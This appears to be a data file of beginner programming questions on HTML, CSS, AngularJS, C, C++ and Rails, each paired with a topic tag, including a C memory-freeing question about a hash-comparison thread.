 
 })();</code></pre>
 </div>
 </div>",angularjs
why can my site be accessed from two diffrent adress  and why deos it change my font   i am not that good at explaining so for example (and this is my actual site)  <a href= http://securityfenceonline.com/  rel= nofollow >http://securityfenceonline.com/</a> has a different font on the header menus then <a href= http://www.securityfenceonline.com/  rel= nofollow >http://www.securityfenceonline.com/</a> does. basically my question here is how do i get the fonts from the site that starts with www to work on the site that doesn t have a www. my second question is why are there two different urls to access the same website. thank you so much!!    coded with: html    uses some joomla    newbie at coding,html
object tag is not working  i want to use the html tag to play the  video file in my browser. i have tried  with object tag as well as embed tag.  both the things are not working for  me. when i was using object tag my  browser screen got flickering but the  video is not playing.     is there any way  way to solve the problem  how can play  the video file in browser     my code:   <pre><code>&lt;html&gt; &lt;object data= flash.mpeg  type= application/x-shockwave-flash  width= 800  height= 550 &gt;         &lt;param name= movie  value= flash.mpeg &gt; &lt;/object&gt; &lt;/html&gt; </code></pre>,html
how to drag and drop a button inside a table in asp.net  <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codebehind= updatetablewebform.aspx.cs  inherits= societywebapp.views.updatetablewebform  %&gt; &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;   &lt;head runat= server &gt;     &lt;title&gt;&lt;/title&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;form id= form1  runat= server &gt;       &lt;div&gt;         &lt;asp:table id= edittable  runat= server   cellpadding= 5  font-names= times new roman &gt;           &lt;asp:tablerow&gt;             &lt;asp:tablecell&gt;flat no.: &lt;/asp:tablecell&gt;             &lt;asp:tablecell&gt;               &lt;asp:textbox id= flatno  runat= server &gt;&lt;/asp:textbox&gt;             &lt;/asp:tablecell&gt;             &lt;asp:tablecell&gt;               &lt;asp:button id= searchbynobutton  runat= server  text= search  onclick= searchbynobuttonclicked  /&gt;             &lt;/asp:tablecell&gt;             &lt;asp:tablecell&gt;               &lt;asp:requiredfieldvalidator id= requiredfieldvalidator1  runat= server  errormessage=  * flat no. is required  forecolor= red  controltovalidate= flatno  display= dynamic &gt;&lt;/asp:requiredfieldvalidator&gt;               &lt;asp:regularexpressionvalidator id= regularexpressionvalidator1  runat= server  errormessage=  * must be a no.  forecolor= red  controltovalidate= flatno  validationexpression= [0-9]*  display= dynamic &gt;&lt;/asp:regularexpressionvalidator&gt;             &lt;/asp:tablecell&gt;           &lt;/asp:tablerow&gt;         &lt;/asp:table&gt;       &lt;/div&gt;     &lt;/form&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   i can not drag n drop. only manual coding in asp.net works to add buttons or text boxes inside the table in an aspx page. can anyone tell how to drag n drop. also generating a button click event by double clicking doesn t work.,asp.net
can t free() a char* <pre><code>void* password_cracker_thread(void* args) {     cracker_args* arg_struct = (cracker_args*) args;     md5hash* new_hash = malloc (sizeof(md5hash));       while(1)     {         char* password = fetch(arg_struct-&gt;in);          if(password == null  )         {             deposit(arg_struct-&gt;out null);             free(new_hash);             pthread_exit(null);         }         compute_hash(password new_hash);         if(compare_hashes(new_hash (md5hash**)arg_struct-&gt;hashes arg_struct-&gt;num_hashes) != -1)         {             printf( valid_pass:%s \n  password);             deposit(arg_struct-&gt;out password);         }else{             free(password);          }     }  } </code></pre>   this is a part of a program  where you get <code>char*</code> passwords from a ringbuffer  calculate md5 and compare them and push them into the next buffer if valid.    my problem is now  why can t i free those i don t need  the whole program will stop if i try to and if i don t  i get memory leaks.,c
error in creating tables in visual studio 2012  i am facing problem in creating new tables in database. after adding a new connection in database when i click on the tables to create a new table   the option  add new table  is not available. more if i open an existing project then the options  open table definition  or  show table data  are not available.<br> the only options are  refresh and properties,asp.net
jquery s selectable plugin  using jquery s selectable plugin  how to highlight kid nodes of the selected element rather than the element itself    <pre><code>$( div:first ).selectable();  &lt;div&gt;  &lt;div&gt;    &lt;div class= highlightme &gt;    &lt;/div&gt;    &lt;div class= highlightme2 &gt;    &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; </code></pre>,jquery
assigning unsigned char* to string c++  this is my sample code. please let me know why it crashes over here.   <pre><code>string myfunction::getstring(unsigned char* instrreference) {     unsigned char* bufptr = instrreference;       string newstring = (char*)bufptr;      return newstring; } </code></pre>,c++
coding issue while uploading picture to server! why this code makes error   i am trying to upload some data to web service using post action but the following error happens on didreceivedata.   <pre><code>400 bad request a 404 not found </code></pre>   can you please help me on this coding issue    <pre><code>nsmutableurlrequest *request = [nsmutableurlrequest requestwithurl:url                                                       cachepolicy:nsurlrequestuseprotocolcachepolicy timeoutinterval:60]; nsmutabledata *postdata = [[nsmutabledata alloc] init]; nsstring *boundary = [nsstring stringwithstring:@ ------------------147378098aadfsn1987xdaotwq ];  // first name [postdata appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n   boundary] datausingencoding:nsutf8stringencoding]]; [postdata appenddata:[@ content-disposition: form-data; name=\ firstname\ \r\n\r\n  datausingencoding:nsutf8stringencoding]]; [postdata appenddata:[firstname datausingencoding:nsutf8stringencoding]];  nsdata  *photo = uiimagejpegrepresentation(takephoto  0.5f); // photo data [postdata appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n   boundary] datausingencoding:nsutf8stringencoding]]; [postdata appenddata:[@ content-disposition: form-data; name=\ picture1\ ; filename=\ photo.jpg\ \r\n  datausingencoding:nsutf8stringencoding]]; [postdata appenddata:[@ content-type: application/octet-stream\r\n\r\n  datausingencoding:nsutf8stringencoding]]; if (takephoto != nil) {     [postdata appenddata:photo]; }  nsstring *postlength = [nsstring stringwithformat:@ %d   postdata.length]; [request sethttpmethod:@ post ]; [request setvalue:postlength forhttpheaderfield:@ content-length ]; [request setvalue:[nsstring stringwithformat:@ multipart/form-data; boundary=%@   boundary] forhttpheaderfield:@ content-type ]; [request sethttpbody:postdata]; nsurlconnection *conn = [[nsurlconnection alloc] initwithrequest:request delegate:self]; </code></pre>,iphone
updating current list from one controller to another in angularjs   im having issues updating a list. i have tried both rootscope and using factory but it just doensn t update the view. rather it remains the same. the only time the update works is if the list is empty to begin with otherwise the original load is always there. appreciate any suggestions.     here is my attempt using rootscope:    rootscope alternative   <pre><code> app.config([ $routeprovider   function($routeprovider){                  $routeprovider                     .when( /  {                         replace:true                          templateurl:  views/questions.html                           controller:  sitecontroller as vm                      })                     .when( /categories  {                         templateurl:  views/categories.html                           controller:  categoriesctrl as cm                      })                     .when( /categories/:name*  {                         templateurl:  views/questions.html                           controller:  sitecontroller as vm                      })                      .otherwise({                         redirectto:  /                      })             }]); </code></pre>   index.html   <pre><code> &lt;div class= col-xs-12 col-sm-8 col-md-8  ng-view&gt;                all views load here  &lt;/div&gt; </code></pre>   questions.html   <pre><code>&lt;table class= table table-questions &gt;         &lt;thead&gt;         &lt;/thead&gt;         &lt;tbody&gt;   &lt;tr dir-paginate-start= q in vm.allquestions&gt;             &lt;td&gt;                  &lt;a class= questionlinks  ng-click= vm.viewquestion(q.idquestion)&gt; {{q.question}} &lt;/a&gt;&lt;h4&gt;&lt;/h4&gt;{{q.date }}             &lt;/td&gt;             &lt;td  class= text-center &gt;&lt;span class= box box-blue &gt; {{q.clicks}} &lt;/span&gt;&lt;/td&gt;          &lt;/tr &gt;  &lt;/tbody&gt;     &lt;/table&gt; </code></pre>   categories.html   <pre><code>&lt;div class= wrapper content content-categories content-tags  id= categories_content &gt;     &lt;h2&gt;categories&lt;/h2&gt;     &lt;div class= col-md-12 &gt;         &lt;ul class= list-tags  ng-repeat= c in cm.categories &gt;             &lt;li&gt;&lt;a ng-href= #/categories{{c.categoryurl}}  ng-click= cm.getcategoryquestions(c.idcategory) &gt;{{c.categoryname}}&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;div class= col-md-12 &gt;         &lt;nav&gt;         &lt;/nav&gt;     &lt;/div&gt; &lt;/div &gt; </code></pre>   now the controllers  sitecontroller   <pre><code>(function () {      use strict ;      angular        .module( app )         .controller( sitecontroller   sitecontroller);      sitecontroller.$inject = [ $http   $route   $routeparams   $rootscope ];      function sitecontroller($http $route $routeparams $rootscope) {          var vm = this;         vm.allquestions=[];          vm.thequestions=thequestions;   init();          function init(){             thequestions();           }  function thequestions() {             var url;             $rootscope.$on( updateqs  function(event  obj){                  url=obj;                 $http.get(url).then(function (response) {                     vm.allquestions=response.data;                 });             });                 $http.get( /getlatestquestions ).then(function (response) {                     vm.allquestions=response.data;                  });         }     } })(); </code></pre>   categories controller   <pre><code>(function () {      use strict ;      angular         .module( app )         .controller( categoriesctrl   categoriesctrl);      categoriesctrl.$inject = [ $http   $rootscope ];      function categoriesctrl($http $rootscope) {          var cm = this;         cm.categories=[];         cm.categoryquestions=[];          //categories         cm.getcategories=getcategories;         cm.getcategoryquestions= getcategoryquestions;          init();          function init(){             getcategories();         }          //categories related         function getcategories() {             var url= /getcategories ;             var categorypromise=$http.get(url);             categorypromise.then(function (response) {                 cm.categories=response.data;             })         }         function getcategoryquestions(idcategory) {             var url= /getcategoryquestions +idcategory;                 $rootscope.$emit( updateqs  url);         }     } })(); </code></pre>   factory alternative added this in the app.module file under app.config   <pre><code>  app.factory( newquestions   function () {                  var questions = {};                  return {                     setqs: function (value) {                         questions = value;                     }                      getqs: function () {                           return questions;                     }                 };             }); </code></pre>   this in sitecontroller   <pre><code>(function () {      use strict ;      angular        .module( app )         .controller( sitecontroller   sitecontroller);      sitecontroller.$inject = [ $http   $route   $routeparams   newquestions ];        function sitecontroller($http $route $routeparams newquestions) {          var vm = this;         vm.allquestions=[];          vm.thequestions=thequestions;   init();          function init(){          initial();             thequestions();          }   function initial(){            newquestions.setqs( /getlatestquestions );         }          function thequestions() {             var url=newquestions.getqs();              $http.get(url).then(function (response) {                 vm.allquestions=response.data;             });         }     } })(); </code></pre>   this in categoriescontroller   <pre><code>(function () {      use strict ;      angular         .module( app )         .controller( categoriesctrl   categoriesctrl);      categoriesctrl.$inject = [ $http   newquestions ];      function categoriesctrl($http newquestions) {          var cm = this;         cm.categories=[];         cm.categoryquestions=[];          //categories         cm.getcategories=getcategories;         cm.getcategoryquestions= getcategoryquestions;          init();         function init(){             getcategories();         }         //categories related         function getcategories() {             var url= /getcategories ;             var categorypromise=$http.get(url);             categorypromise.then(function (response) {                 cm.categories=response.data;             })         }        function getcategoryquestions(idcategory) {             var url= /getcategoryquestions +idcategory;                 newquestions.setqs(url);         }     } })(); </code></pre>,angularjs
rails 4 : how to send http request for sms api   i am using  ruby 2.3.0p0 (2015-12-25 revision 53290) [x86_64-linux] rails 4.2.4    i have sms integration api which needs to send http request like below   <pre><code>http://123.63.33.43//blank/sms/user/urlsmstemp.php username=xxxx&amp;pass=xxxx&amp;senderid=xxxx&amp;dest_mobileno=#xxxx&amp;tempid=45902&amp;response=y </code></pre>   i need to execute it background after creating a record.  thanks in advance.,ruby-on-rails
how can i fix the css on my website so large images don t overflow their container   i have a really cool website that allows people to upload images.  sometimes there images are really large  as seen in the below div:    <a href= http://img242.imageshack.us/img242/6711/overflowds1.png  rel= nofollow noreferrer >overflow http://img242.imageshack.us/img242/6711/overflowds1.png</a>    is there a style i can add to my divs to fix this,css
changing variable inside block  i have this defined at top of a method:    <code>__block bool flag;</code>    i have a uiview animation block  and inside it i have this:   <pre><code>flag=yes; nslog(@ the value of the flag is %i  flag); </code></pre>   however  instead of returning 1  it logs as 0.    other things in the block are running correctly. what could be happening here,objective-c
create a js component from remote call  in my rails5 app i have the js component below.   <pre><code>class identityconfirmation   constructor: (item) -&gt;     ...     @setevents()    setevents: -&gt;     ... </code></pre>   i create the components when turbolinks loads as such    <pre><code>$(document).on  turbolinks:load   -&gt;   $.map $( [data-behavior~= identity-confirmation ] )  (item  i) -&gt;     new identityconfirmation(item) </code></pre>   and everything works just fine.    now i need to create a component from within a <code>js.erb</code> file.    my js.erb file looks like   <pre><code>$( #mydiv ).html( &lt;%= escape_javascript(render partial:  mypartial  %&gt; );  $.map($( [data-behavior~= identity-confirmation ] )  function(item  i) {   return new identityconfirmation(item); }); </code></pre>   and <code>mypartial</code> contains a div with data behavior equal to identity-confirmation.    however  the component is not created.    am i missing anything here     thanks,ruby-on-rails
forward declaration and cyclic header inclusion in c++  i have two classes   <h3>requestmanager.h</h3>  <pre><code>#ifndef requestmanager_h #define requestmanager_h  #include  requestclient.h  class requestmanager { public:      void addreqeustitem(requestclient *req);  private:  std::list&lt;requestclient*&gt; m_reqclientcontainer; }; #endif </code></pre>  <h3>requestclient.h</h3>  <pre><code>#ifndef requestclient_h #define requestclient_h  class requestmanager; // forward declaration to avoid cyclic inclusion.  class requestclient { public: void createrequest(requestmanager* pmanager) {   // ... i am creating a request.   pmanager-&gt;addreqeustitem(req); }; #endif </code></pre>   in the code above i am getting error undefined requestmanager in request client class. what is the  problem and how can i solve it,c++
"submit a form using pagination  i have 4 pages where the user inputs multiple data. my only problem atm is that instead of having a button saying submit  i wanted the pagination <code>next</code> to be the one that submits the data.    how can i achive that  i tried some stuff but it just changes my pagination next button to a normal button.    <strong>i tried to use</strong> <code>type= submit </code> on the next button but it doesnt submit the data to <code>environmentdata</code>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code> &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js &gt;&lt;/script&gt;
     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.15.1/moment.min.js &gt;&lt;/script&gt;
     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js &gt;&lt;/script&gt;
     &lt;script src= https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datetimepicker/4.7.14/js/bootstrap-datetimepicker.min.js &gt;&lt;/script&gt;
 
     &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css &gt;
     &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datetimepicker/4.7.14/css/bootstrap-datetimepicker.min.css &gt;
 
     &lt;link href= https://gitcdn.github.io/bootstrap-toggle/2.2.2/css/bootstrap-toggle.min.css  rel= stylesheet &gt;
 
 
 &lt;div class= container &gt;
     &lt;form action= environmentdata  method= get  id= page1 &gt;
     &lt;div class= row &gt;
     &lt;div class= col-md-5 &gt;
         &lt;div class= row &gt;
             &lt;div class= form-group &gt;
                     &lt;label&gt;name:&lt;/label&gt;&lt;input type= text  class= form-control  name= name &gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;div class= row &gt;
     &lt;!--pagination--&gt;
     &lt;div class= text-center &gt;
         &lt;nav&gt;
             &lt;ul class= pagination text-center &gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= # &gt;previous&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item active &gt;&lt;a class= page-link  href= generalsetup.jsp &gt;1&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= clients.jsp &gt;2&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= accounts.jsp &gt;3&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a class= page-link  href= transactions.jsp &gt;4&lt;/a&gt;&lt;/li&gt;
                 &lt;li class= page-item &gt;&lt;a type= submit  class= page-link  href= clients.jsp &gt;next&lt;/a&gt;&lt;/li&gt;
             &lt;/ul&gt;
         &lt;/nav&gt;
     &lt;/div&gt;
     &lt;/div&gt;
     &lt;/form&gt;</code></pre>
 </div>
 </div>",html
ruby on rails: how can i get values from databse in application.html.erb  is there anything like beforerender   how can i get values from databse in application.html.erb i need to get those values for whole project.those values will stay forever to all pages.how can i pass valus to application.html.erb.    is there anything like beforerender   is there anything like appcontroller.rb to override actions.    thanks,ruby-on-rails
css: how to prevent background colour to be overwritten by colour from less-file  i am working with this <a href= http://www.frogn.kommune.no/info/kultur-idrett-fritid/info/lag-foreninger/  rel= nofollow >page</a>.     the stylesheet-files and most of the design are written by another programmer. in frogn.css the <code>background-color</code> is set that should be used for the outside area of the page (in which there is no information). e.g. like <a href= http://www.frogn.kommune.no/info/kultur-idrett-fritid/info/  rel= nofollow >here</a>.     in the page i am working with  the <code>background-color</code> is overwritten by the color from bootstrap.less i prefer not to change the settings of the bootstrap-files  since it can affect other pages.    how do i enforce the <code>background-color</code> of frogn.css to be displayed   i tried using !important after the colour-attribute  but it didn t help.    *<em>update</em>: i am noticing that setting !important after background-color actually worked. i did only a ordinary refresh  so i got the cached version of the page.,css
angularjs controller reference becomes undefined  i ve just started learning angularjs and built a small yet simple application  which consists of multiple controllers as shown here:    <a href= https://i.stack.imgur.com/nnuf6.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nnuf6.png  alt= enter image description here ></a>    i have a <code>sitemaster.html</code> page  inside this page i use <code>ng-view</code> as shown here:   <pre><code>&lt;!doctype html&gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt;      &lt;script src= scripts/angular.min.js &gt;&lt;/script&gt;     &lt;script src= scripts/angular-route.min.js &gt;&lt;/script&gt;     &lt;script src= scripts/app.js &gt;&lt;/script&gt;  &lt;!-- consists of routing  --&gt;     &lt;script src= templates/params/paramscontroller.js &gt;&lt;/script&gt;      &lt;title&gt;angular routing tutorial&lt;/title&gt; &lt;/head&gt; &lt;body ng-app= mainapp &gt;     &lt;h1&gt;sitemaster template&lt;/h1&gt;     &lt;div ng-view&gt;&lt;/div&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   as you can see the last script tag is the controller for the params page  ideally i don t want this script tag reference on the sitemaster instead i would like to place it inside the params.html page that way it s only loaded when it s required  now i ve moved this script tag from the <code>sitemaster.html</code> to the <code>params.html</code> page as shown here:   <pre><code>&lt;script src= paramscontroller.js &gt;&lt;/script&gt;  &lt;div ng-controller= paramsctrl &gt;   &lt;h1&gt;       passed a parameter via url   &lt;/h1&gt; &lt;/div&gt; </code></pre>   yet when i run the project i get the following error:   <pre><code>error: [ng:areq] http://errors.angularjs.org/1.5.2/ng/areq p0=paramsctrl&amp;p1=not%20a%20function%2c%20got%20undefined </code></pre>   so my question is  how do i get this <code>paramscontroller.js</code> reference to work within the <code>params.html</code> page  instead of having it on the <code>sitemaster.html</code> page     please note  when the <code>paramscontroller.js</code> is placed inside the <code>sitemaster.html</code> page it works as expected.    any help would be appreciated.    <strong><em>update</em></strong> after adding oclazyload i have done the following:    added the script reference to sitemaster.html    inside my app.js i have done the following:   <pre><code>var app = angular.module( mainapp   [ ngroute    oc.lazyload ]); </code></pre>   inside my paramscontroller.js i have the following:   <pre><code>angular.module( mainapp ).controller( paramsctrl   function ($scope  $routeparams  $oclazyload) {  console.log($routeparams);  var param1 = $routeparams.page_number;  alert(param1);  }); </code></pre>   and now i ve hit a road block i m unsure where or how i go about loading this controller via oclazyload   i following this documentation : <a href= https://oclazyload.readme.io/docs  rel= nofollow noreferrer >https://oclazyload.readme.io/docs</a>,angularjs
css parse errors  i have just validated  and these errors come up:   <blockquote>    sorry! we found the following errors (2) uri : simple.css 320         parse   error  .tftable { font-size:100%;   color:#e0ece8; width:100%; border-width:.1em; border-color: #ffffff;   border-collapse: collapse; } 356      parse error  #wrapper {   background: #fff; color: #b6c5be; }  </blockquote>   i ve tried simply removing the stuff in  but that messes up all the colours on my page. here is the code  line 320-356:   <pre><code>&lt;style type= text/css &gt; .tftable { font-size:100%; color:#e0ece8; width:100%; border-width:.1em; border-color: #ffffff; border-collapse: collapse; }  .tftable th { font-size:105%; background-color:#354640; border-width: .1em; padding: 1em; border-style: solid; border-color: #354640; text-align:center; border-bottom: solid .4em #6b806f; }  .tftable tr { background-color:#9db2a6; }  .tftable td { font-size:105%; border-width: .1em; padding: 0.8em; border-style: solid; border-color: #6b806f; }  .tftable tr:hover { background-color:#b6c5be; }  &lt;/style&gt; </code></pre>   and here s the whole thing:   <pre><code>/* |-------------------------------------------------------------------------- | general text formatting |-------------------------------------------------------------------------- */  html  body {      font-family:  helvetica neue   helvetica  arial  sans-serif;     font-size: 100%;      background: #b6c5be;     color: #151816; }  h1 {      font-family: georgia  palatino  serif;     font-size: 300%;     font-weight: normal;     color: #151816;     margin: 0 0 .5em 0;     text-align:center;  }  h2 {     font-size:120%;     font-weight: bold;     padding: 1em 0 0.7em 0; }     h3 {     font-size:120%; font-family: georgia  palatino  serif;     text-align:center;     padding: 1em 0 0.8em 0;     font-weight: bold; }       h4 {     font-size:110%;     color: #e3f2ed;  }         h5 {     font-size:140%;     color: #e3f2ed;     text-align:center;     font-weight: bold; }     p {      line-height: 150%;      padding: 0 0 1em 0;     text-align:justify; }  ul {     padding: 0 0 0 2em;     list-style: disc; }  ol {     padding: 0 0 0 2em;     list-style: decimal; }  li {     padding: 0 0 1em 0; }  strong {     font-weight: bold; }  em {     font-style: italic; }  blockquote {     color: #000000;     background: #9db2a6;     padding: 1em 1em 0 1em;     margin-bottom: 1em;     font-size: 130%;     border-bottom: solid .4em #6b806f;     border-top: solid .4em #6b806f; }     #footer {       /*      colours for text within the      footer division  ie &lt;p id= footer &gt;      */         padding: 1em 1em 1em 1em;     color: #e3f2ed;     background-color: #354640;              text-align:right; }  .screen-reader-only {      /*     this is a special class used to prevent text from      being displayed on screen  while still making it visible to     screen readers. use this class if you want to add extra     descritive text for visually impaired users  but don t want     that description to be visible for other users.       for example:     &lt;p class= screen-reader-only &gt;special text for screen readers&lt;/p&gt;     */      text-indent: 100%;     white-space: nowrap;     overflow: hidden;     position: absolute;     top: 0;     left: 0; }      /* |-------------------------------------------------------------------------- | page links |-------------------------------------------------------------------------- */  a:link {      color: #000000;      font-weight: bold;      text-decoration: none;  }  a:visited {      color: #000000;           font-style:italic;     text-decoration: none; }  a:hover {      font-style:italic; }  a:active {      color: #000000;  }      /* |-------------------------------------------------------------------------- | top navigatin links |--------------------------------------------------------------------------  top navigation links the following styles control the appearence  of the top navigation links  eg.  &lt;a class= top-link  href= default.htm &gt;home&lt;/a&gt;  */  a.top-link {     /*      these styles will apply to all links (:link  :visited  :hover and :active) unless         */     display: block;     padding: .7em 0 .7em 0;     margin: 0 1em 0 2em;     background: #9db2a6;     color: #000000;      padding: 0;     line-height: 2.5em; }  .top-link:link {     /* styles for normal  unvisited links can be set here */     /* these styles will override the defaults set for .top-link above */     text-decoration: none;         border-bottom: solid .3em #9db2a6;  }  .top-link:visited {       /* styles for links once visited can be changed here */     /* these styles will override the defaults set for .top-link above */     text-decoration: none;     border-bottom: solid .3em #9db2a6;  }      .top-link:hover {      /* styles for top links when a user hovers over it can be changed here */     text-decoration: none;      border-bottom: solid .3em #6b806f;  }  .top-link:active {       /* styles for when the link is being clicked can be changed here */ }  .top-link.selected:link  .top-link.selected:visited {      /* sets the style of a link that has been selected (ie. has a class of selected)        for example (note the additional class  selected ):         &lt;a class= top-link selected  href= content.htm &gt;content page&lt;/a&gt;     */      border-bottom: solid .3em #354640;     cursor: default; }      /* |-------------------------------------------------------------------------- | footer links |--------------------------------------------------------------------------  change these if you want your footer links to have a  different style to other links  */  #footer a:link {      color: #e3f2ed;     font-weight: bold; }  #footer a:visited {      color: #e3f2ed;     font-weight: bold; }  #footer a:hover {      font-style:italic; }  #footer a:active {      color: #e3f2ed; }      /* |-------------------------------------------------------------------------- | header colours |-------------------------------------------------------------------------- */  #header {             /*           colours for &lt;div id= header &gt;         see layout.css for layout and size properties         */      background: #00016c url(../images/headbit.gif) repeat-x top left;     color: #354640; }   #nav {          /*           colours for &lt;ul id= nav &gt;          see layout.css for layout and size properties         */      background: #9db2a6;     color: #000000; }    &lt;style type= text/css &gt; .tftable { font-size:100%; color:#e0ece8; width:100%; border-width:.1em; border-color: #ffffff; border-collapse: collapse; }  .tftable th { font-size:105%; background-color:#354640; border-width: .1em; padding: 1em; border-style: solid; border-color: #354640; text-align:center; border-bottom: solid .4em #6b806f; }  .tftable tr { background-color:#9db2a6; }  .tftable td { font-size:105%; border-width: .1em; padding: 0.8em; border-style: solid; border-color: #6b806f; }  .tftable tr:hover { background-color:#b6c5be; }  &lt;/style&gt;    #wrapper {     background: #fff;      color: #b6c5be; }         /*   |-------------------------------------------------------------------------- | widget box colours  |--------------------------------------------------------------------------  colour styles for widget boxes  ie &lt;li class= widget &gt; see layout.css for layout and size properties  */  .widget {     background: #9db2a6;     color: #000000;     border-bottom: solid .4em #6b806f;  }  .widget-heading {     color: #e3f2ed;      font-family:  helvetica neue   helvetica  arial  sans-serif;     background: #354640;     border-bottom: solid .4em #6b806f; } </code></pre>   any help would be greatly appreciated!,css
include a php file without displaying its contents  is it possible to include a php file without including its contents  i just want to access the functions and variables in that file without displaying any content. i tried this     <pre><code>&lt;      ob_start();     include( $file );     ob_end_clean();  &gt; </code></pre>   but this will hide only contents in php tag. i want to know how to hide others as well.,php
print mode in css   is there such thing as a  print mode  in css  basically  i want to make all the edit i want to make so that the print preview looks the way i want it to look without having to alter the website i want making changes to.,css
.net: largeaddressaware has no effect  i wanna use more than 1.2 gb ram.    so i tried the editbin /lageadressaware command.    the command executes with no error but still i get out of memory exceptions at 1.2 gb.    now i ask myself: i have several exe files in my project. which exe file(s) must be processed:    a) all exe files b) the entry assembly [1] c) the executing assembly [1]    [1]: term entry/executing as defined in system.reflection.assembly.getentryassembly/getexecutingassembly)    i tried b) and c) and it has no effect.    the output of the editbin is just:    2>  microsoft (r) coff/pe editor version 11.00.61030.0 2>  copyright (c) microsoft corporation.  all rights reserved.    is this the right output,.net
javascript number of object by different property values in array  best way to count the number of objects in a array with different object property p values.   <pre><code>function([{ p : a } { p : b } { p : a }]){     // some code } // in this case return 2 </code></pre>,javascript
div tag inside table - html  this is my html table:   <pre><code>&lt;div&gt;   &lt;table&gt;     &lt;thead&gt;       &lt;tr&gt;         &lt;th&gt;host name&lt;/th&gt;         &lt;th&gt;os name&lt;/th&gt;         &lt;th&gt;os architecture&lt;/th&gt;       &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;       &lt;div id =  tttt &gt;         &lt;tr&gt;           &lt;td&gt;a&lt;/td&gt;           &lt;td&gt;b&lt;/td&gt;           &lt;td&gt;c&lt;/td&gt;         &lt;/tr&gt;       &lt;/div&gt;     &lt;/tbody&gt;   &lt;/table&gt; &lt;/div&gt; </code></pre>   when i look up the <code>view source</code> in html   <code>&lt;div&gt;</code> tag seems to have shifted above the table. any idea why this happening  i used <code>div</code> in that place because i want to populate the records via javascript.,html
uitabbarcontroller don t autosize uitabbaritem  <img src= https://i.stack.imgur.com/hsbtu.png  alt= uitabbar >    i m a new ios learner  but when i follow a tutorial  i met this problems. in tutorial  if i have two tab bar item like i did  there will be two button on tab bar with width equal to 50% tab bar width. but actually all my tab bar item get 100% size.    so what can i do to fix it,ios
activerecord::base.connection.execute +csv: how to loop through the columns returned   so i have a sql statements that i retrieve records:   <pre><code>def total_sales_category_csv    query1 =  select categoryname  casecost  product_name...     result1 = activerecord::base.connection.execute(query1)    query2 =  select categoryname  foo  bar...     result2 = activerecord::base.connection.execute(query2)    result3 =   select sum(inv_figures1.available) ...     bottle_sum = activerecord::base.connection.execute(query_for_bottle_sum)     report = fastercsv.generate do |csv|     csv &lt;&lt; %w{category casecost product_name total sales avg}      #i m stuck here   end  end </code></pre>   so at the part that i m stuck  how do i loop through the records returned by my <code>activerecord::base.connection.execute</code> in an object oriented way  can i do something like this:   <pre><code>  report = fastercsv.generate do |csv|     csv &lt;&lt; %w{category casecost product_name total sales avg}     result1.each do |row|       csv &lt;&lt; [result1.categoryname  result2[0].foo]       end   end </code></pre>,ruby-on-rails
rails  autoloading/constant resolution is creating ghost modules  here s <a href= https://github.com/stulentsev/ghost_module  rel= nofollow noreferrer >a brand new rails 5.1.4 app</a>  with a model and a couple of routes and controllers.    a namespaced controller is referencing a top level model:   <pre><code>class adminarea::welcomecontroller &lt; applicationcontroller   def index     @user = user.new(name:  sergio )   end end </code></pre>   so far so good. you can check out the master  navigate to <code>http://localhost:3000/admin_area/welcome</code> and see it work.    but if we <a href= https://github.com/stulentsev/ghost_module/pull/1  rel= nofollow noreferrer >were to add an empty directory <code>app/presenters/admin_area/user/</code> *</a>  then things get weird. all of a sudden  <code>user</code> in that controller is not my model  but a non-existing module!   <pre><code>nomethoderror (undefined method `new  for adminarea::user:module):  app/controllers/admin_area/welcome_controller.rb:3:in `index  </code></pre>   naturally  this module doesn t have any [non-built-in] methods and can t be pinned to a source file on disk.    <strong>question</strong>: why adding an empty directory causes rails to mysteriously conjure a module out of thin air instead of correctly resolving name <code>user</code> to my model    <hr>   <sup> * actually  if you check out that branch as-is  you ll get a different error.</sup>   <blockquote>    <sup>nameerror (uninitialized constant adminarea::welcomecontroller::user)</sup>  </blockquote>   <sup>because git wouldn t let me commit an empty directory  so i added a <code>.keep</code> file in there. but as soon as you delete that file  you get the behaviour described above.</sup>,ruby-on-rails
